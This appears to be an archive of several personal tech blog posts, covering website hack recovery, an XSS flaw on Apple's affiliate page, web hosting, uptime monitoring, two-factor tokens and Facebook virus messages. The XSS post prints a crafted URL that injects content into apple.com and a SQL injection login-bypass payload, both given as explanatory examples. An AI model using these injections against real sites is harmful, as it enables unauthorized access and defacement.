If possible, try to update your website service monitoring service alerts to specifically look for the bad code. Try not to be too specific, since many of these hacks that leave backdoors will randomize their obfuscation, so the bad code could do undetected if you’re too specific.

Repeat the same process of logging in and monitoring which files have been been recently added or modified. Many scripts will randomize the filename of the backdoor script they bury somewhere deeper in your file structure, so don’t get used to looking for specific filenames – look for timestamps, and the moment you see a timestamp you’re not responsible for, be ready for round two.

Follow-up with Google.
If your site ended up being listed as malware so that browsers, email clients and some search engines have your site flagged as one that is a potential source of malware, you can appeal this. Using Google Webmaster tools, you can request a review of your site. Once Google decides your site is no longer a threat, you’ll be de-listed as a potentially harmful site. More information on Google’s policy on harmful sites is available here.

Final Notes

The methods mentioned above about detecting how the hack was executed do not cover all possibilities. If a poorly written script allowed the attacker access beyond your webroot, your entire server could be compromised. This is less of a risk with a reliable virtual or cloud host, since they will limit what your user can access with respect to the rest of the server, but still something to keep in mind. There are a lot of different kinds of attacks that you won’ be able to diagnose using the methods above – a DNS injection, rootkit, and so on will be harder to backtrack, and you’d be best served consulting a professional.

If you’re interested in learning more about penetration testing and intrusion detection, I highly recommend the e-book “Detecting Malice” by Robert “RSnake” Hansen. If this is your first foray into pen testing and security, you’ll appreciate Robert’s way of explaining complicated topics using easy-to-understand-language. If you’re more experienced in this field, you’ll still learn a lot (and this article was probably too basic for you, so what the hell were you doing here anyway?)

Odds are, if you’ve had a website for a while, you’ve been hacked. It does happen – but by taking some steps ahead of time, and being prepared for it, you’ll be able to react more effectively and preserve more of your reputation and the information that may be needed to lock down whatever security holes you may have.

I’ll hopefully be following up this article with a second one, that provides tips on how to secure your WordPress blog. Stay tuned, and make sure you’re subscribed to the RSS feed to know when it’s up.

I obviously couldn’t cover every scenario in one article, especially given the potentially broad range of varying technical abilities of my readers and the huge nuance and variety of attacks, but I tried to cover the basics. Did you learn anything new? Did I miss something? Let me know in the comments.

Possibly related posts:

1. Upgrading to WordPress 3.0 and Adding Multi-Site WordPress 3.0, code name “Thelonious”, has been released, and it...
2. Essential WordPress Plugins Many WordPress bloggers have taken the time to share the...
3. Creating A WordPress Theme If you’ve already got some design chops and a WordPress...

Earlier today, we got a glimpse of what happens when a big company forgets to cross their t’s and dot their i’s. And in programming, that means failing to validate user-entered data before displaying it on-screen.

My friend Peter Bukowinski first brought the exploit to my attention, posting a link to Apple.Com’s iTunes affiliate search interface. The link he sent me led to a page that looked like this:

Notice that the url in the browser bar is actually apple.com – this was not a parody site.

Evidently, Apple’s developers had neglected to validate the data being sent through the query string. The actual url was:

http://www.apple.com/itunes/affiliates/download/?artistName=your+mom&thumbnailUrl=http://www.moneysavingmom.com/money_saving_mom/images/2008/09/02/joblogo.gif&itmsUrl=http://www.bjs.com/&albumName=a+better+blowjob

So by editing the variables passed through the url, you could have a little harmless fun at Apple’s expense:

As you can see, by editing the query string and changing the variables for artistName, thumbnailUrl and itmsUrl, we could make the page hosted on Apple.Com’s server display whatever mischief we want. The variables were being echoed out directly on the page without any validation, filling in the blanks in their iTunes affiliate page template: [image] Looking for [blank] by [blank]?

But What is XSS?

Honestly, if you’re a web developer and you don’t know what XSS is by now, you suck at your job and should probably go back to spanking it to porn in your mom’s basement and leave the coding to the grownups. It’s been around long enough that you forfeit your right to call yourself a web-anything if you don’t know what it is by now. That said…

From the Cross-Site Scripting FAQ on cgisecurity.com:

Cross site scripting (also known as XSS) occurs when a web application gathers malicious data from a user. The data is usually gathered in the form of a hyperlink which contains malicious content within it. The user will most likely click on this link from another website, instant message, or simply just reading a web board or email message. Usually the attacker will encode the malicious portion of the link to the site in HEX (or other encoding methods) so the request is less suspicious looking to the user when clicked on. After the data is collected by the web application, it creates an output page for the user containing the malicious data that was originally sent to it, but in a manner to make it appear as valid content from the website. Many popular guestbook and forum programs allow users to submit posts with html and javascript embedded in them. If for example I was logged in as “john” and read a message by “joe” that contained malicious javascript in it, then it may be possible for “joe” to hijack my session just by reading his bulletin board post.

Cross-Site Scripting is nothing new, not even on large, popular websites. While this example on Apple.Com resulted only in a humorous page being available under a large company’s domain, many XSS attacks can be far more sinister – and the attack had far more potential than our harmless prank, as users on Reddit.Com noticed that the exploit did allow malicious scripting including JavaScript injection and IFrame injection (thanks to @shocm for bringing the Reddit thread to my attention).

It looks as though Apple’s server sanitized the <script></script> tag, but there are at least a half-dozen ways to inject javascript without using a <script> tag, many of which are outlined on the XSS Cheat Sheet.

This type of exploit is a DOM-based exploit. Wikipedia does a good job of summing it up:

Traditionally, cross-site scripting vulnerabilities would occur in server-side code responsible for preparing the HTML response to be served to the user. With the advent of web 2.0 applications, a new class of XSS flaws emerged, however: DOM-based vulnerabilities come to be during the content processing stages delegated to the client, typically in client-side JavaScript. The name refers to the standard model for representing HTML or XML contents, called the Document Object Model or DOM for short. The model is the primary way for JavaScript programs to manipulate the state of a web page, and populate it with dynamically computed data.

A typical example is a piece of JavaScript accessing and extracting data from the URL via the location.* DOM, or receiving raw non-HTML data from the server via XMLHttpRequest, and then using this information to write dynamic HTML without proper escaping, entirely on client side.

Netcraft featured an XSS vulnerability on PayPal’s website discoverd by a Finnish security researcher in May 2008:

An exploit was reported in March 2007 on YouTube’s website, allowing a similar type of JavaScript attack:

And an XSS exploit of eBay was documented in this YouTube video, also in 2007, and Twitter has suffered several XSS exploit attacks as recently as this year. But those are just a small handful of examples from a really long list.

In fact, just today, an article came out in The Register, detailing an XSS cookie hijacking attack that affects many large websites, including Google and Facebook. From the article:

A security researcher has discovered a weakness in a core browser protocol that compromises the security of Google, Facebook, and other websites by allowing an attacker to tamper with the cookies they set.

The weakness stems from RFC 2965, which dictates that browsers must allow subdomains (think www.google.com) to set and read cookies for their parent (google.com). The specification also states that if a cookie for a subdomain doesn’t already exist, the browser should use the cookie belonging to the parent instead.

The arrangement makes it possible for attackers to steal or even alter the cookies that websites use to authenticate their users. Attackers would first have to identify an XSS, or cross-site scripting, bug in some part of the site they are targeting. But because virtually any subdomain will suffice, the scenario isn’t unrealistic, two web security experts said.

Apple’s development team responded quickly to the exploit on their site – a little too quickly in my opinion, since I was preparing to have a little more fun with it, but they had patched it by the time I got home. It should still serve as a reminder to developers of just how important data scrubbing and validation is, no matter whether your site is big or small, with 2 hits a day or 2 million.

XSS Vulnerabilities Compromise User Data – And Your Reputation

As the eBay exploit video shows (and as anyone on Twitter saw this year), XSS attacks are not just embarrassing – they can be used for phishing scams, tricking users to login to a fake site, exposing their login credentials or worse. PayPal and bank phishing schemes often prompt the user to “confirm” their bank account information or credit card information “for security purposes”.

Other XSS exploits may trick users into thinking their computer has been infected by a virus, prompting them to download “free software” to clean their system – meanwhile the software the panicking user is downloading actually is the virus. And even though you might never fall for something so blatantly obviously, lots and lots of people do, every day.

Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user in order to gather data from them. Everything from account hijacking, changing user settings, cookie theft/poisoning, or false advertising is possible. New malicious uses are being found every day for XSS attacks. XSS exploits can even be used to facilitate “Denial Of Service” attacks (or DoS attacks), and potential “auto-attacking” of hosts if a user simply reads a post on an infected message board.

While XSS attacks themselves cannot compromise files on your server, XSS holes can allow Javascript insertion, which may allow for limited execution. If an attacker were to exploit a browser flaw (browser hole) it could then be possible to execute commands on the client’s side. If command execution were possible it would only be possible on the client side. In simple terms XSS holes can be used to help exploit other holes that may exist in your browser or server.

User-Submitted Data and Your Database

Trusting user variables without cleaning or validating them opens you up to a whole host of problems if your application is powered by a database.

For example, the following SQL command is used to validate user login requests:

$sql_query = "select * from users where user='$user' and password='$pass'"

If the user-submitted data is not properly validated, an attacker can exploit this query and pass the login screen by simply submitting specially crafted variables.

For example, attacker can submit the following data as a $user variable: admin’ or ’1′=’1 . When this $user variable is glued together with the query, it will look as followed:

$sql_query = "select * from users where user='admin' or '1'='1' and password='$pass'"

Now, the attacker can safely pass the login screen because or ’1′=’1′ causes the query to always return a “true” value while ignoring the password value.

Using similar techniques, an attacker can retrieve database records, pass login screens, and change database contents, for example by creating new administrative users. Using similar techniques, a malicious attack will be able to execute arbitrary shell commands, read or write arbitrary commands, and more.

It is our responsibility to protect our users (and the trust they put in us, deserved or not), and XSS vulnerabilities open the doors to all manner of mischief. At their most benign, they can result in a site defacement. At their worst, they compromise the very safety and livelihood of the people that fall for them – not to mention the impact on your company’s reputation.

If you think your site is too small for hackers to bother with, think again. There are plenty of script kiddies out there that will happily run their exploit toolkit scripts and crawl page after page, testing for exploits. They are able to find common exploits in sites they have never physically even visited through this method. And once they find a vulnerability, word spreads fast.

It should also serve as a reminder to us as a internet users to be a little less trusting. It seems obvious, but we are so trained to respond to visual cues and prompts for activities we do every day – logging into a website, checking out with PayPal, etc – that we can sometimes become careless. We sometimes trust the big guys a little too much, assuming that because they’re that big, they’ve got to have their shit together. Even when we know better, our interactions online have become somewhat mechanical.

While browsers are getting better at helping us realize if we’re entering data into a site that is suspect, ultimately the responsibility falls back upon us to pay attention to what we’re doing and to whom we give our valuable information.

So as a developer, what can you do to protect your software and sites from XSS attacks?

Here are a few good places to start.

Stuff to Read:

• Learn more about XSS and how it works on the Cross-Site Scripting FAQ on cgisecurity.com.
• Learn more about Backdooring a Webserver using MySQL, which details how a user could read/write files to your server and execute commands using mySQL.
• Check out the OWASP (Open Web Application Security) website and stay up to date

Stuff to Do:

Always clean and validate ANY data you receive from the user

Use the appropriate escaping for the programming languages and databases you use

Educate yourself on as many examples of XSS (both theoretical and in-the-wild) as you can, so you know what to look for. Wikipedia details a few common methods worth checking out on their Cross-Site Scripting page. The only real defense you have against attacks is to keep yourself informed and current on what the bad guys are up to. This isn’t one of those things that you can read about once and rest on your laurels. You must be vigilant and aggressive about staying on top of what’s going on. It’s your job.

Bookmark and test your scripts against the code samples on the XSS Cheatsheet on ha.ckers.org. This cheatsheet is specifically geared towards exploits that can potentially get past standard filtering that developers might do on their data, such as strip_tags. Also check out the MySQL Injection Cheat Sheet and the SQL Injection Cheat Sheet.

Periodically check your webserver access logs and error logs and look for anything that looks like someone might be trying to find a backdoor. Look for people trying to pass data that doesn’t belong, sending variables that are common configuration file names, and so on.

Turn OFF error reporting displayed to the browser on production environments, and instead log errors to a file. Error messages can expose information about your file structure and your database structure.

Pay attention! Keep your ear to the ground on sites like ha.ckers.org and other (mostly) whitehat exploit blogs and communities. This is your livelihood. Do your job.

If you’re using open source software, make sure you keep up to date with new releases. Many popular open source projects (such as WordPress, phpNuke, phpBB, etc) are frequent targets for malicious scripting. Be sure to hide references to your software version numbers from the public, since certain versions may have exploits that are well known, and attackers will know exactly how to target your site if they know what version you’re running.

Shell out the $39 for the 300 page e-Book Detecting Malice, written by Robert Hansen (aka RSnake, on Twitter at @RSnake) and actually read it. I can’t believe I’m actually endorsing a freaking e-Book, but its really that good. I don’t know Robert personally, I’m not endorsing it as a favor or because I like him as a person. For all I know he eats puppies for breakfast. But his book is fantastic.

And finally, Test test test test test!

There’s even an interesting Twitter account that highlights high-profile XSS exploits – it’s low-volume, but it’s surprising how many turn up that never make the news.

Incidentally, something I discovered while having a little fun on Apple.Com’s site – if you do a Google Images search for ‘hot tar enema”, only four images come up, and one of them is a photo of Rush Limbaugh. I’m not even making that up. Also funny, since I tweeted about that this afternoon, my tweet is now the number one Google search result for “hot tar enema”. Aren’t you jealous?

Possibly related posts:

1. When Your WordPress Blog Gets Hacked It happens to most bloggers at some point – your...
2. New Facebook Phishing Attempts Looks like a new round of phishing attacks are well...
3. An Open Letter to Rackspace Cloud Hosting I just received an automated email from Rackspace that made...

I am in the process of migrating all 200 domain names (approximately 100 websites) on my server over to Mosso – which is why you would have gotten a 404 if you happened on the site for a short time last night. (.htaccess did not transfer correctly, so mod_rewrites were borked.) Sorry for any inconvenience – was my fault, not Mosso’s.

I have had my own dedicated machine, hosted in a colo in San Diego, for several years, and dedicated managed servers prior to that. While I enjoy the flexibility that running your own box allows, I just don’t have the time or interest in being a sysadmin, and I feel it is unwise for me to do a half-assed job at something I hate in a role that is as important as that. Until recently, moving all of those sites to any kind of shared hosting environment would have meant a steep increase in what I pay per month. With Mosso, I’ll be paying around $100 a month, $65 less than I pay now, assuming I don’t go over bandwidth.

I apologize in advance for how ranty this post is about to get. I realize some of you may have just come here to find out if Mosso would be a good match for you. I’ll explain more about my experience with them in a moment, but I have to get this off my chest first.

I’m tired of being treated like a moron

I haven’t done a shared hosting solution in years now, partly because its been cost prohibitive if you have more than a handful of websites, and partly because I got tired of being treated like a moron every time I had to talk to support. Just yesterday, I was on the phone with Lunarpages, on behalf of a friend. (My friend doesn’t know much about servers. His website had been compromised, so I offered to be the middleman between him and tech. I have NOTHING to do with his website – was just stepping in here.)

This is what I sent Lunarpages support:

We recently experienced a script exploit on the domain name example.com. John Smith, the account holder, is copied on this message, as I am helping him try to find the source of the problem.

While we’re still trying to isolate the origin of the vulnerability, in viewing the FTP logs, we see several IP addresses that seem suspicious – several of these IP addresses track back to Russia and China.

The exploit allowed hundreds of randomly named index files to be created in directories with 755 permissions, owned by and belonging to the <groupname> group. Additionally, existing HTML files were edited to have a javascript appended to them containing links to hundreds of websites, all of which are reported as malicious websites. We can provide sample files that were generated, however the javascript that was inserted used randomly generated function names, so its nearly impossible to trace back via a google search.

The webroots of the malware sites seem to be normal websites, so it would seem that these sites are infected and unaware of it. The files appearing on their sites redirect to the intermediary site onlinedetect.com which then forwards to the malware site pro4scan.com:

http://google.com/safebrowsing/diagnostic?tpl=safari&site=www.onlinedetect.com&hl=en-us
http://google.com/safebrowsing/diagnostic?tpl=safari&site=www.pro4scan.com&hl=en-us

However, since the FTP logfiles are only accessible to us for 1 day, we are unable to view the apache and ftp logfiles for January 4, 2009, when the bogus files were created.

We have downloaded a recent backup of the site, however it would be great if we could access a backup from January 4th or 5th, as the 6th was the only day available. If possible, can you dump a backup from Jan 5 to the account root so we can download it by FTP.

We have already changed the login password to the FTP account, however since we are not 100% sure of what caused the exploit, if it is possible to set up a monitoring script on this account that will send a daily email of ftp login attempts and/or uploaded files, that would be extremely helpful. Not sure if you have something like that available.

We do not have many dynamic scripts set up on this account, however the one that could have potentially been the issue has been removed. If we had access to the log files from Jan 4, that would help us determine whether the exploit was done by way of passing malicious code via a GET or POST, which would help us rule out a few things.

We have set up a server monitor to alert us if the content of the affected pages changes more than 20%, but any assistance you can provide us with the above issues would be great.

Thank you very much for your assistance.

What I got in response was a form letter response telling me to change my password.

*blink*

Are you fucking kidding me?

First of all, I already told you I did that – second of all, did you even read beyond the first sentence? I am asking you for something – something only you can provide me. Don’t give me some bullshit form letter. You are support. Support me.

I haven’t had to deal with a retail virtual hosting company in a long time – I had hoped they had changed. Evidently, they have not.

So, yeah – anyway, the thought of returning to a hosting company rather than having my own server made me want to chew through my own wrists. But the thought of having issues (and there were a few, although mostly minor – maintaining a server requires work) that I’d have to tackle by myself, or with the help of a friend who had the skill but not the time was equally troubling.

Enter Mosso

A friend of mine in the PHP community had been talking to me about Mosso for a while, but I hadn’t really looked into it. The combination of a crappy economy, the fact that my Virtualmin license was about to expire (which was going to cost me a few hundred clams to renew), the fact that I no longer live in San Diego (which I deeply lament every day) and can’t just go down to the colo when I need to,  and frustration over not having the time to do some things that needed to be done on the server finally forced my hand and I started looking into it.

Mosso is a Rackspace company, so their legendary “fanatical support” is extended to Mosso clients as well. I have worked with Rackspace a lot in the past, so there is a comfort level there. Mosso is also geared at developers, which is nice for a number of reasons, not the least of which being that when I call them, they know I have a clue and treat me appropriately.

Using Mosso, I can create as many individual sites as I want, including some for clients with hosting billing packages built right in. Moss takes care of emailing them a billing reminder, accepting the payment, and then they transfer the money to you. There is a fraud-prevention hold period that prospective customers should be aware of – when the client pays their bill, you don’t see the money right away. Of course, you can always disable billing and ask your customers to send you a check or pay you directly through some other method if that’s an issue for you. For me, remembering to bill my hosting clients was where I really sucked, so this feature was a definite plus. Getting my money a month or two later – as opposed to never getting it because I forgot to bill them – is an okay plan to me. Plus it saves me the hassle of getting another merchant account, which just isn’t worth it for me for the limited number of paid hosting clients I have on the account.

I chatted with some of the guys from Mosso on Twitter for a few weeks, and perhaps more importantly, I listened. I was watching how they interacted with customers, and what their customers were saying about them. I talked to friends who had made the switch, and pinged people I didn’t know who were using Mosso. This move is a BFD, and not a decision I could take lightly. I’d be moving around 5 very active and important websites with heavy customization and big fat databases, as well as a hundred smaller, less critical ones.

Finally we arranged a call. (I have never actually been given the option of spending a half hour on the phone with someone from a hosting company before buying in, so that it and of itself was new.) When the call was done, I had pretty much run out of reasons not to switch.

My two primary apprehensions were that Mosso does not support ssh, and that I didn’t know what my monthly bandwidth was for the box I’m currently on, so I couldn’t determine whether I would be in danger of going over straight out of the starting gate. Truthfully, the only times I usually need ssh are when something has gone wrong – I don’t use it that often, and Mosso does support SSHFs. As for bandwidth, I’m still not 100% sure on that end, but I talked to the fellow that handles my colo box and he said he didn’t think it went over 500GB per month, which is Mosso’s limit before they charge you extra. Most of the traffic on my server comes from my non-profit organization website, however, and Mosso will apparently comp bandwidth overages for the non-profit.

Sold – So what’s next?

So, I’ve been trying to migrate sites over, a few more every day. I have thirty-something moved over so far, but I’m taking it slowly so I don’t kill myself over it and don’t make mistakes. Its a lot of work, and being that I work full-time, commute 4.5 hours a day and run a non-profit, I’m beat by the time I get home.

So far, the migrations have been flawless. A few sites have had databases that were too large to import using phpmyadmin, but I just clicked on the “support > live chat” option in my admin, connected with a tech, and asked them to import it. Less than a minute later, it was done. It took longer to upload the sql dump than it did for the entire customer service experience. Moving this site took a little longer, just because of a larger database – but one of the other WordPress sites I host went over in literally 5 minutes or less, including the initial download of files from the old server. A few quick changes to the config file with new database credentials and it was done.

There are a few differences in their control panel compared to what I’m used to, some good, some not as good. Some usability stuff, which I’ll probably mention to them at some point but are not that big of a deal. Having a view-all option (or user configured preference for number returned) for clients or website listings, instead of 10 per page, would be stellar. When you have 200 domain names, that’s a lot of clicking. Their control panel is home grown, and a helluva lot more usable than many I’ve seen (SO much more user-friendly than cpanel or webmin), but it could use a little tweaking. Still one of the best I’ve seen, and I’ve seen a lot.

When you create an account in Mosso’s control panel, it automagically creates a top-level testing domain, which is a huge help. For example, immediately after I created the snipe.net domain in the Mosso control panel, the control panel gave me link to my testing url. Since it’s a sub-domain of one of theirs, it won’t break any “/” links or image paths you might have in the page, and you can kick the tires thoroughly before you pull the DNS trigger and switch things over.

They didn’t have an email migration script when I signed up, but one of their techs took it upon himself to write one. It’s in testing now. I have several email accounts with over 100k messages, and although I use imap, if there is an easier way than spending the next two weeks downloading my imap map and copying it over to the new imap account, I’d be really thrilled with that. And it looks like there is. So yay.

It’s early to tell yet, but I like what I’ve seen so far. Their support has been quick to respond and very helpful. Server speeds seem just fine, email is working as expected. Really, I don’t have any complaints. Of course, the paranoid side of me will keep my old server in colo for another month or two, just for the peace of mind that I can switch DNS back if I need to, but I’m not expecting to have to do that anytime soon.

If you’re interested in giving Mosso a shot, they offer a 30 day risk-free trial (money back guarantee) – and if you use the promotional code REF-SNIPE, you’ll get a $25 rebate/refund on your first month’s bill. If you’re still not sure or you have more questions, follow @mosso on twitter. They’re very responsive, and often quite funny.

While talking to them on Twitter before I signed on, I told @mosso, “You guys are like the Obama of website hosting. I’m excited about the possibilities but praying you don’t dick me over.”

So far, so good – for both

Possibly related posts:

1. Some Notes on Moving to Mosso It’s been over a month since I opened my account...
2. And Still More Notes on Mosso Continuing in the Moving to Mosso series, I’ve come across...
3. New Facebook Phishing Attempts Looks like a new round of phishing attacks are well...

Its a call you never, ever want to get. “My server is down!” or “Our website has been hacked!” As a developer, there are few things that make you look worse than getting a call from your client letting you know that their site is down, or worse yet, hacked. Even if you’re not directly involved with hosting their website, they look to you to be on top of the game.

Servers will occasionally have hiccups, but if you’re the one calling them to let them know there is a problem and you’re on top of it, it will only benefit you. So the trick here is to know there is a problem before they do. If you have several different clients (or wear a few too many hats in your current job), this can be easier said than done, especially if you’re no longer in a development phase but have gone into a maintenance phase.

Unless you want to manually check every client site every hour or so, every day, all hours of the day, you need a better plan. So to make sure you come out smelling like roses, even if the server is a piece of something that doesn’t smell nearly as good, you’ll want to look into site monitoring services.

Website/Uptime Monitoring

All website/uptime monitoring services basically work the same way: a third-party service attempts to reach out to your server at specific intervals and alerts you if it cannot. Pretty basic stuff – although a few services offer more advanced features that you may feel are worth the money. These services are nice because they monitor the server externally, and there is nothing to install.

Some of the features offered by various services are:

Checking whether or not certain keywords are present – or not present – in the title or body of your website. If you have a site that has been targeted for hacking or defacement in the past, this is a good way to be notified right away if there’s a problem. While it may take you time to fix the vulnerability and restore things to normal, at least you’ll know before your client (or your users) and do some damage control (put up a “technical difficulties” page, etc.) You might start with something simple, like making sure the name of your site appears in the title or body of the page, since most defacements will often replace the entire contents of your page with their defacement.

Configurable timeout that determines whether the server really is down (or slow). The threshold for a “problem” may vary, depending on the expectations of the client and the server setup. If your client is paying $300 a month for a managed Rackspace slot, the response time from the server might be expected to be a little better than the $5 a month Dreamhost account.

SMS notification when there is a problem. While this puts you in the position of potentially getting text message alerts at 4AM, it makes sure you’re made aware of the problem. It absolutely sucks getting woken up in the wee hours of the morning to have to fix a server issue, but when your client sees your emails letting them know there is a proble (instead of the other way around) with a 4AM timestamp, you come out looking like a rockstar who goes above and beyond for their clients and is utterly obsessed with their website. Unless your client has a really crappy hosting company, the wake-up calls shouldn’t happen often. If they happen often, its time to talk to your client about finding a new web host.

Monitoring from multiple geographic locations. Sites can be unreachable for a variety of reasons. Sometimes there really is a problem with the server, and sometimes it can be as simple as a BINF (backhoe-induced network failure). Monitoring from multiple locations can alert you when the site may be unreachable by a certain region or certain ISP customers due to issues beyind your control, and can also help confirm quickly that the problem really is with your server if that’s the case.

There are additional features that some services offer, such as the ability to publicly display your uptime stats on your website that are really just gravy. Unless you’re running a hosting company, your users don’t care about your uptime – and if you’re running a hosting company, you damn well better have your own monitoring system, or you’re in the wrong business. Your clients will only care about their uptime when the server is down. If its not broken, they just don’t give a damn.

Free Website Status Monitoring Services

There are a handful of very basic uptime monitoring services that you can sign up for today and that won’t cost you a dime. These free services are perfectly fine for individual site or blog owners who just want to be notified if their server is unreachable. They don’t offer many (or any) additional options, but they generally do what they promise to do, and they’re free, so there’s no harm in setting them up.

AreMySitesUp.Com
The good folks over at CSS-Tricks just launched this very basic (and very free!) service, and it looks to be pretty solid. Read more about it at CSS-Tricks, or sign up here. It hasn’t been around long enough for me to personally vouch for them, but its certainly worth trying. I’ve gotten some false positives since I signed up, two per day.

AreMySitesUp

UptimeParty
This service offers you one free monitor, and allows you to upgrade for multiple monitors for a reasonable price. I have tried this one, and it works just fine. Again, no advanced features, just basic “is the site answering or not”, but certainly worth signing up for the free monitor if you only have a personal site or blog you want to watch. Again, a few false positives, although fewer than AreMySitesUp.

Uptime Party

Basic State
Featured as an MSNBC site of the week, Basic State offers basic site monitoring for free, and includes free SMS alerts in their free account features, something the other freebies don’t. Their monitoring time is not configurable – it will ping your server every 15 minutes, but it does support checking payment gateways and SSL certificates, which is nice. The interface is a bit clunky, but easy enough once you figure it out.

Basic State

Site 24×7
This service offers commercial services (discussed in more detail below) but also offers two free monitors that check status every 60 minutes. The free account comes with 10 free SMS alerts, but you can purchase more on the free account if you need.

Commercial (But Still Cheap) Options

Site 24×7
As mentioned above Site 24×7 offers limited free accounts, but their commercial accounts come in packages that can fit just about any budget. You can compare packages and features here. They offer the standard fare of email and SMS alerts, and they also allow you to configure how frequently your sites are monitored on a site-by-site basis, which is nice. Low traffic, low profile sites can be delegated as an every 60 minute monitor, while high-profile sites can check every 5 minutes. Pricing is scaled on the interval level, so setting a less-frequent monitor can help keeps costs within your budget. They also offer e-mail server monitoring. although I haven’t taken advantage of that service.

You can set up keyword criteria and set specific timeout thresholds per site. Plus, one thing Site 24×7 offers that most others don’t is the ability to monitor web applications, including those that require a login and require the user to perform a certain set of actions to get to the monitored area. You can do this by downloading their recording tool that lets you literally record your actions such as logging in, clicking on a specific link, etc. This may sound complicated – its actually not, and its a great way to monitor stuff like Facebook applications, where you have to be logged into Facebook before you can check whether or not the application is working. Their recording tool is windows only, but that’s what Parallels is for Plus, you won’t need to record it more than once.

Another nice feature is their emailed reports. These aren’t necessary, but can be a nice thing to send on to clients (they’re nicely formatted and contain graphs) to show them how much you rock.

Site 24x7

SiteUptime
SiteUptime offers many of the same services as Ste24x7 – HTTP, SMTP, POP, FTP, SSL monitoring, for a comparable price. They also offer a free account that gives you one free monitor, and would be a good way to check out their services before shelling out any money. Their advanced plan is still only $10 a month, so still well within a reasonable budget range – and if you oay a year in advance, you can save $20.

Site Uptime

A few other uptime services that I haven’t personally tried, but that have gotten good reviews are Pingdom and ServiceUptime. Their prices seem comparable (although ServiceUptime seems a little steeper than the others), with equivalent services.

Conclusion

Since you’ve got some free options here, there is really no good reason not to be monitoring your server (or your client’s server) uptime.

I strongly recommend using a commercial service if you are a professional developer. I use Site 24×7, with SMS alerts, and have been very happy with their service and can recommend them wholeheartedly. The commercial options listed here are certainly reasonably priced, and can easily be passed on to your clients through maintenance charges. Whether you are responsible for their hosting situation or not, you are likely in a better position to help them understand when something goes wrong. It is the kind of value-added service that will set you apart from other web developers or development shops.

A final note – when you sign up for e-mail alerts from monitoring services, be sure to use an email address that is not connected to the server you’re monitoring. If the server goes down, there is a good chance that your email will also be affected, so it stands to reason you’d want to use an email address that is completely independent of your server, such as your ISP email or gmail.

Possibly related posts:

1. Learn New Languages Online For Free with LiveMocha Learning a new language becomes increasingly harder, the older we...
2. Free Online Image Editors Even if you’ve got a good graphics package (and more...
3. Sexy, Cheap and Easy: Not Your Mom, Your Wireframes I’m a planning whore. It’s true. I’m one of those...

Is your World of Warcraft account more secure than your online banking account?

Blizzard, creator of the immensely popular MMORPG game World of Warcraft, has come out with authentication tokens as an added layer of security for game account holders. For $6.50, you can order a key fob that generates a random number when you press a button on the fob. Account holders who have tied their accounts to this authentication token will be required to enter that random number along with their standard username and password in order to login to the game.

The idea here is that even if someone else has obtained the player’s username and password, they will be unable to login unless they have the authentication key fob physically in their hand, since the number generated by the token expires after a certain time and is randomly generated each time the user pushes the button on the key fob itself.

I used to have one of these Citrix-based key fobs when I worked at a blood bank in California, and the token was required in order for me to access the internal network from a remote location. Understandable, since the blood bank network contains quite a lot of very personal information such as social security numbers and donor eligibility based on any diseases the donor might have.

Blizzard’s move certainly makes a degree of sense, considering some high-level, well geared WoW accounts can sell for $1000 or more, and an account of that stature has clearly taken months or years of the account holder’s life to attain. Paying $6.50 for an extra layer of protection on your time and money investment seems like a pretty good idea.

What is perhaps a little troubling, however, is that neither of the two banks I do business with offer this level of security to protect my actual bank accounts. My online banking systems, both of which are hooked into bill paying, online statements, full account histories, scanned check copies (through which my checking account number could easily be snagged), are merely a username and password away.

Would you pay seven bucks for an extra layer of security on your banking information? I know I would. So what are the banks waiting for? Why is my video game using a more secure two-factor authentication system, but my banking institution is not?

And as a side note, as these types of systems become more commonly implemented (as they should be), is there a company out there that will find a way to tie multiple systems together, so I don’t have to walk around with 15 different key fobs?

Possibly related posts:

1. Is IMAP/POP3 Gmail or Gtalk periodically rejecting your password? I have run into this many times: my Gtalk password...
2. Use Your Own Domain for OpenID Logins I’m a big fan of OpenID, and the concept of...
3. Gay Bar (Warcraft) ...

I have received two virus emails from two unrelated friends, indicating their accounts have been compromised. The messages are being sent through Facebook and both have had a spammy sounding subject line and a link to a geocities website. This was suspicious enough, but the fact that one message came from a friend I haven’t spoken to much in a year made it even more so.

The first virus email subject was “RE: You were caught on our secret camera!” and the second was “RE: You have a great hair cut in this movie” . The geocities addresses they pointed to were for user’s reedgates21 and richiemack11. I’ve googled both addresses and gotten no results, so my guess is that they are randomly generating geocities accounts and generating these emails. A co-worker just one too – variation on a theme. Subject is “Don’t cry! Your mom will never see this movie”, also pointing to geocities, user name rkssbcyzk. Another one, “I’m not kidding I just saw your pics all over a site address swimcaw” has come through as a wall post.

The links in the Facebook messages point to websites that contain viruses. Do NOT click on them.

Below are some examples of what they look like. (These are just images, so you can click on them for larger versions to see how the messages come into your inbox.)

Screenshot 1

Screenshot 2

Screenshot 3

If you’re using Firefox, your browser should warn you that you’re about to try to access a page that has been linked to virus/malware when you click on the Facebook messages in question, but if you’re using an older version of IE (shame on you!), you may not get any warning at all.

When You Receive a Virus Email

1. DO NOT CLICK ON THE LINK
2. Send an e-mail (or call) the sender, letting them know they are likely infected with a virus
3. Suggest to the friend that they change their password from another, uninfected computer, and follow the steps further down in this article to remove the virus. (The method they use will depend on which virus they’ve been infected with.)
4. Once the virus is cleared from the sender’s system, suggest they install a free anti-keylogger program and switching to Firefox just to be safe

Ultimately, its like anything else – common sense will go a long way. If the email seems odd (for example, the fact that the subjects sometimes start with “RE:”, as if they were replies to a message you sent, but you never sent a message with that subject), the phrasing seems off or not something your friend would actually say, something is probably awry. If you’re unsure, contact the friend directly and ask if they sent it to you.

This has been happening a lot lately, and the scenario Tech Crunch describes in this article sounds a lot like what’s happening here.

Keep in mind… Facebook applications do NOT have access to your password, so unless you installed an application that “required you” to download an executable application (any kind of .exe, .msi, etc), your Facebook applications should NOT be the cause. (Being an application developer, I can say that I couldn’t steal someone’s password even if I wanted to, using their API. HOWEVER there have been several reports of phony applications and groups that require some sort of download in order to get the full experience (Secret Crush was one of them).

NO application or group should EVER require you to download and install anything. If they do, report them to the social network immediately.

Also keep in mind that these viruses are not limited to Facebook users. I’m more familiar with the Facebook scenario because I avoid MySpace like the plague, but every time I login there are spammy and/or virus-y emails awaiting me. This isn’t as much a flaw in the Facebook platform as a result of social networks still being young and going through some growing pains. MySpace has just as much of a problem with these issues, if not moreso, since they have been historically less concerned about user experience and safety.

Another Variation – Fake YouTube Links

